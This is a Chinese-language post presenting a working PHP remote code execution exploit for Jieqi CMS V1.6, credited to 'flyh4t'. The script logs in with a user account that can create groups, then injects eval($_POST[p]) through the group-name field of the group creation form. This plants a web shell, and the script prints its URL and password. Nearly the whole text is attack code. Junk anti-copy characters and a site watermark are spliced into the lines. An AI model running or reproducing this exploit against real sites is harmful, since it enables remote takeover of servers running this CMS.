Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

admin

杰奇网站管理系统（简称 JIEQI CMS，中国国家版权局著作权登记号：2006SR03382）是一套模块化的网站架设系统，具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案，并提供各类网站定制服务。


+ ]5 i/ Y& g+ l# L该系统存在多个远程安全漏洞，今天报告的这个是1.6版本的一个远程代码执行漏洞，应该有2年多历史了。
9 y+ a) a  @0 G' c8 J" P% C( l 需要有一个能创建圈子的用户。

<?php

print_r('
+---------------------------------------------------------------------------+
Jieqi CMS V1.6 PHP Code Injection Exploit
8 G6 G: X5 T0 e8 _by flyh4t
4 V3 g+ C* [$ P; N) _mail: phpsec at hotmail dot com
1 V( ]& ~1 z4 Y% `: [% wteam: http://www.wolvez.org
6 \8 Q* M0 ?1 I5 F5 F2 _3 R/ Y+---------------------------------------------------------------------------+
/ M$ P  |: Y4 p) a'); /**
* works regardless of php.ini settings
*/ if ($argc < 5) { print_r('
6 a8 g* Y+ C0 t$ v6 V+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path username
' h  [. `( R8 v6 Vhost:      target server (ip/hostname)
path:      path to jieqicms
uasename:  a username who can create group
Example:
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
+---------------------------------------------------------------------------+
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
Content-Disposition: form-data; name="gname"

'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
- _! r" R7 w# @& {6 E* x) g0 L-----------------------------23281168279961
# j" K+ d6 ~# ^! RContent-Disposition: form-data; name="gcatid"
* r$ p! q, l- r3 w! \3 s0 h1 V
1
-----------------------------23281168279961
/ {6 q: X6 C/ V& ]2 h' gContent-Disposition: form-data; name="gaudit"

# n6 T6 T! U& y# F! X3 ~- R6 {1
4 ?' l: O/ [& J# M" ~$ ~% |% T-----------------------------23281168279961
Content-Disposition: form-data; name="gbrief"

9 L" g9 L! g, ^# G6 S1 Z; Q0 r  m1
-----------------------------23281168279961--
+ x& o  A3 B+ \: R'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com
( Y) R  p0 `% [8 p% p
* k2 W/ W) @& p9 Q1 h$ Dpreg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;